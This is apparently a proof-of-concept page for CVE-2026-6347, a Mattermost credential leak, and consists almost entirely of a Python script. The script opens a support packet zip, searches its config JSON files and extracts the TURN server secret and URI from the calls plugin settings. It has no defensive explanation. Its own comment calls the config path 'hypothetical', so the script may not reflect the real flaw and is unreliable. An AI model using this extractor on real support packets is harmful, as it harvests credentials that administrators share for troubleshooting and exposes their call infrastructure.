CVE-2026-6347 Mattermost凭证信息泄露

# Proof of Concept for CVE-2026-6347 # This script simulates extracting credentials from a Mattermost support packet. import zipfile import json import os def extract_turn_credentials(support_packet_path): """ Parses a Mattermost support packet to find TURN credentials. """ turn_creds = [] try: with zipfile.ZipFile(support_packet_path, 'r') as z: for filename in z.namelist(): if 'config' in filename.lower() and filename.endswith('.json'): with z.open(filename) as f: data = json.load(f) # Hypothetical path based on Mattermost config structure if 'PluginSettings' in data and 'mattermost' in data['PluginSettings']: calls_config = data['PluginSettings']['mattermost'].get('calls', {}) turn_secret = calls_config.get('TurnSecret') turn_uri = calls_config.get('TurnURI') if turn_secret or turn_uri: turn_creds.append({ 'file': filename, 'TurnURI': turn_uri, 'TurnSecret': turn_secret }) except Exception as e: print(f"Error: {e}") return turn_creds # Usage # creds = extract_turn_credentials('mattermost_support_packet.zip') # print(creds)